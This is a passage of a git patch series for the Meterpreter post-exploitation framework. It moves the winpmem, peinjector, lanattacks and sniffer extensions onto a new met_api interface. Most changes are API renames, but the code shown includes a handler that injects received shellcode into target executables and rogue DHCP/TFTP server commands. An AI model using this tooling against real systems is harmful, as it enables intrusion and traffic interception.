ERROR_SUCCESS; } /*! - * @brief Deinitialize the server extension - */ - DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } + + /*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) + { + strncpy_s(buffer, bufferSize, "winpmem", bufferSize - 1); + return ERROR_SUCCESS; + } } #include "winpmem_meterpreter.h" @@ -180,7 +193,7 @@ WinPmem_meterpreter *WinPmemFactory() DWORD dump_ram(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = WINPMEM_ERROR_UNKNOWN; __int64 status; @@ -241,7 +254,7 @@ DWORD dump_ram(Remote *remote, Packet *packet) chops.read = winpmem_channel_read; chops.eof = winpmem_channel_eof; - if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) + if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) { result = WINPMEM_ERROR_UNKNOWN; dprintf("[WINPMEM] Failed to get Meterpreter Channel"); @@ -249,12 +262,12 @@ DWORD dump_ram(Remote *remote, Packet *packet) goto end; } - channel_set_type(newChannel, "winpmem"); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); - packet_add_tlv_qword(response, TLV_TYPE_WINPMEM_MEMORY_SIZE, pmem_handle->get_max_physical_memory()); + met_api->channel.set_type(newChannel, "winpmem"); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); + met_api->packet.add_tlv_qword(response, TLV_TYPE_WINPMEM_MEMORY_SIZE, pmem_handle->get_max_physical_memory()); end: - packet_add_tlv_uint(response, TLV_TYPE_WINPMEM_ERROR_CODE, result); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_uint(response, TLV_TYPE_WINPMEM_ERROR_CODE, result); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj index 6b3c1879..d7ad9768 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj +++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -133,7 +133,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -185,7 +185,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline true - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -234,7 +234,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From f7b50df020abafad6cebf0ca0efeb36d71a0b4b0 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 18:26:08 +1000 Subject: [PATCH 06/21] Update peinjectory to avoid delay loading Also added the GetExtensionName function. --- .../source/extensions/peinjector/libpefile.c | 7 ++-- .../extensions/peinjector/libpeinfect.c | 5 ++- .../source/extensions/peinjector/peinjector.c | 39 +++++++++++++------ .../extensions/peinjector/peinjector_bridge.c | 19 ++++----- .../ext_server_peinjector.vcxproj | 8 ++-- 5 files changed, 48 insertions(+), 30 deletions(-) diff --git a/c/meterpreter/source/extensions/peinjector/libpefile.c b/c/meterpreter/source/extensions/peinjector/libpefile.c index 45e92d1e..9690fb0f 100755 --- a/c/meterpreter/source/extensions/peinjector/libpefile.c +++ b/c/meterpreter/source/extensions/peinjector/libpefile.c @@ -7,7 +7,8 @@ #include #include #include "libpefile.h" -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" /* Min/Max Macros */ #define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) @@ -358,7 +359,7 @@ bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) { FILE *fh; /* Open file */ - wchar_t *file_w = utf8_to_wchar(file); + wchar_t *file_w = met_api->string.utf8_to_wchar(file); if (_wfopen_s(&fh, file_w, L"rb") == 0) { /* Get file size and allocate buffer */ @@ -539,7 +540,7 @@ bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) { /* Open file */ FILE *fh; - wchar_t *file_w = utf8_to_wchar(file); + wchar_t *file_w = met_api->string.utf8_to_wchar(file); if (_wfopen_s(&fh, file_w, L"wb") == 0) { /* Generate PE File memory */ diff --git a/c/meterpreter/source/extensions/peinjector/libpeinfect.c b/c/meterpreter/source/extensions/peinjector/libpeinfect.c index 792e67a9..032e3062 100755 --- a/c/meterpreter/source/extensions/peinjector/libpeinfect.c +++ b/c/meterpreter/source/extensions/peinjector/libpeinfect.c @@ -7,7 +7,8 @@ #include #include "libpeinfect.h" #include "libpeinfect_obfuscator.h" -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" /* Min/Max Macros */ #define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) @@ -757,7 +758,7 @@ bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) { /* Open file */ FILE *fh; - wchar_t *file_w = utf8_to_wchar(infile); + wchar_t *file_w = met_api->string.utf8_to_wchar(infile); if (_wfopen_s(&fh, file_w, L"rb") == 0) { /* Get file size and allocate buffer */ diff --git a/c/meterpreter/source/extensions/peinjector/peinjector.c b/c/meterpreter/source/extensions/peinjector/peinjector.c index b2df4498..157f2031 100755 --- a/c/meterpreter/source/extensions/peinjector/peinjector.c +++ b/c/meterpreter/source/extensions/peinjector/peinjector.c @@ -2,17 +2,16 @@ * @file peinjector.c * @brief Entry point and intialisation definitions for the Peinjector extension */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" +// Required so that use of the API works. +MetApi* met_api = NULL; #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "peinjector_bridge.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - Command customCommands[] = { COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode), @@ -20,25 +19,41 @@ Command customCommands[] = }; /*! - * @brief Initialize the server extension + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; - dprintf("[PEINJECTOR] Initializing peinjector..."); + met_api = api; - command_register_all(customCommands); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } /*! - * @brief Deinitialize the server extension + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } + +/*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ +DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) +{ + strncpy_s(buffer, bufferSize, "peinjector", bufferSize - 1); + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c index 4209d83a..2e2d1014 100755 --- a/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c +++ b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c @@ -3,7 +3,8 @@ * @brief Wrapper functions for bridging native meterp calls to peinjector */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "peinjector.h" #include "peinjector_bridge.h" #include "libpeinfect.h" @@ -46,15 +47,15 @@ void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); if (response) { - BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); - UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); - BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); + BYTE* shellcode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); + UINT size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); + BOOL is_x64 = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); - char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); + char* target_executable_path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); if (shellcode != NULL) { dprintf("[PEINJECTOR] recived path: %s", target_executable_path); @@ -77,15 +78,15 @@ DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) } else { dprintf("There was an error, shellcode not injected\n"); - packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); + met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); } } else { dprintf("The architecture of the file is incompatible with the selected payload\n"); - packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); + met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); } - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } else { diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj index 17100419..6b3c32bd 100755 --- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -134,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -237,7 +237,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From 8565f9967ed962b273aba95deb41f4d6d874e508 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 18:33:57 +1000 Subject: [PATCH 07/21] Update lanattacks to not use delay loading of metsrv --- .../source/extensions/lanattacks/lanattacks.c | 70 +++++++++---------- .../ext_server_lanattacks.vcxproj | 8 +-- 2 files changed, 39 insertions(+), 39 deletions(-) diff --git a/c/meterpreter/source/extensions/lanattacks/lanattacks.c b/c/meterpreter/source/extensions/lanattacks/lanattacks.c index 7d691c1f..dfda54a5 100644 --- a/c/meterpreter/source/extensions/lanattacks/lanattacks.c +++ b/c/meterpreter/source/extensions/lanattacks/lanattacks.c @@ -2,17 +2,16 @@ * This module implements LAN attacks, like pxesploit and DHCP attacks */ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; + #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include #include "lanattacks.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); void* dhcpserver = NULL; //global DHCP server pointer void* tftpserver = NULL; //global TFTP server pointer @@ -20,11 +19,11 @@ void* tftpserver = NULL; //global TFTP server pointer //Launches the DHCP server DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = startDHCPServer(dhcpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -32,12 +31,12 @@ DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet) //Reset the DHCP server DWORD request_lanattacks_reset_dhcp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); destroyDHCPServer(dhcpserver); dhcpserver = createDHCPServer(); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -48,35 +47,35 @@ DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet) DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); do { //Get option value Tlv tlv; - if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS) + if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS) { break; } //Get option name - name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); + name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = (unsigned int)strlen(name); setDHCPOption(dhcpserver, name, namelen, (char*)tlv.buffer, tlv.header.length); } while (0); - packet_transmit_response(retval, remote, response); + met_api->packet.transmit_response(retval, remote, response); return ERROR_SUCCESS; } //Turns off the DHCP server DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = stopDHCPServer(dhcpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -84,13 +83,13 @@ DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet) //Gets and resets the DHCP log DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned long loglen; unsigned char * log = getDHCPLog(dhcpserver, &loglen); - packet_add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); free(log); return ERROR_SUCCESS; @@ -99,11 +98,11 @@ DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet) //Launches the TFTP server DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = startTFTPServer(tftpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -111,12 +110,12 @@ DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet) //Reset the TFTP server DWORD request_lanattacks_reset_tftp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); destroyTFTPServer(tftpserver); tftpserver = createTFTPServer(); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -127,34 +126,34 @@ DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet) DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); do{ Tlv tlv; //Get file contents - if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS) + if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS) { break; } //Get file name - name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); + name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = (unsigned int)strlen(name); addTFTPFile(tftpserver, name, namelen, (char*)tlv.buffer, tlv.header.length); } while (0); - packet_transmit_response(retval, remote, response); + met_api->packet.transmit_response(retval, remote, response); return ERROR_SUCCESS; } //Turns off the TFTP server DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = stopTFTPServer(tftpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -175,14 +174,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); dhcpserver = createDHCPServer(); tftpserver = createTFTPServer(); @@ -200,7 +200,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) { destroyTFTPServer(tftpserver); tftpserver = NULL; @@ -208,7 +208,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) destroyDHCPServer(dhcpserver); dhcpserver = NULL; - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj index 1a7a111c..d99670e3 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj +++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded @@ -127,7 +127,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded @@ -173,7 +173,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded @@ -223,7 +223,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded From ce8544bd2d964b612fa94bd244f6f3391ff41d38 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 19:02:44 +1000 Subject: [PATCH 08/21] Move sniffer over to metserv api --- .../source/extensions/priv/server/priv.c | 12 +- .../source/extensions/sniffer/precomp.h | 1 - .../source/extensions/sniffer/sniffer.c | 124 +++++++++--------- .../ext_server_sniffer.vcxproj | 10 +- 4 files changed, 72 insertions(+), 75 deletions(-) diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index f70fca5c..f7bbf6a0 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -30,13 +30,13 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - met_api->command.register_all( customCommands ); + met_api->command.register_all(customCommands); - return ERROR_SUCCESS; + return ERROR_SUCCESS; } /*! @@ -44,11 +44,11 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) { - met_api->command.deregister_all( customCommands ); + met_api->command.deregister_all(customCommands); - return ERROR_SUCCESS; + return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/sniffer/precomp.h b/c/meterpreter/source/extensions/sniffer/precomp.h index a0c2df87..dade3a14 100644 --- a/c/meterpreter/source/extensions/sniffer/precomp.h +++ b/c/meterpreter/source/extensions/sniffer/precomp.h @@ -5,7 +5,6 @@ #include "sniffer.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" diff --git a/c/meterpreter/source/extensions/sniffer/sniffer.c b/c/meterpreter/source/extensions/sniffer/sniffer.c index 2a9bc4ff..b90ce556 100644 --- a/c/meterpreter/source/extensions/sniffer/sniffer.c +++ b/c/meterpreter/source/extensions/sniffer/sniffer.c @@ -6,6 +6,10 @@ #define _CRT_SECURE_NO_DEPRECATE 1 #include "precomp.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; DWORD request_sniffer_interfaces(Remote *remote, Packet *packet); DWORD request_sniffer_capture_start(Remote *remote, Packet *packet); @@ -33,13 +37,7 @@ Command customCommands[] = // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor - -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - - -#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);} +#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){ met_api->packet.transmit_response(hErr, remote, response);return(hErr); } HANDLE hMgr; DWORD hErr; @@ -114,7 +112,7 @@ DWORD pktsdk_initialize(void); DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); Tlv entries[8]; /* @@ -185,13 +183,13 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&adhcp; - packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); + met_api->packet.add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); idx++; } while ((hCfg = MgrGetNextAdapterCfg(hMgr, hCfg)) != NULL); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -272,7 +270,7 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke // -- PKS, per job locking would be finer grained. // however, it probably doesn't matter. - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); if (j->idx_pkts >= j->max_pkts) j->idx_pkts = 0; j->cur_pkts++; @@ -289,12 +287,12 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke j->pkts[j->idx_pkts] = pkt; j->idx_pkts++; - lock_release(snifferm); + met_api->lock.release(snifferm); } DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid; unsigned int maxp; CaptureJob *j; @@ -304,8 +302,8 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> start_capture()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); - maxp = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + maxp = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT); maxp = min(maxp, SNIFFER_MAX_QUEUE); maxp = max(maxp, 1); @@ -370,13 +368,13 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) AdpSetMacFilter(j->adp, mfAll); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = 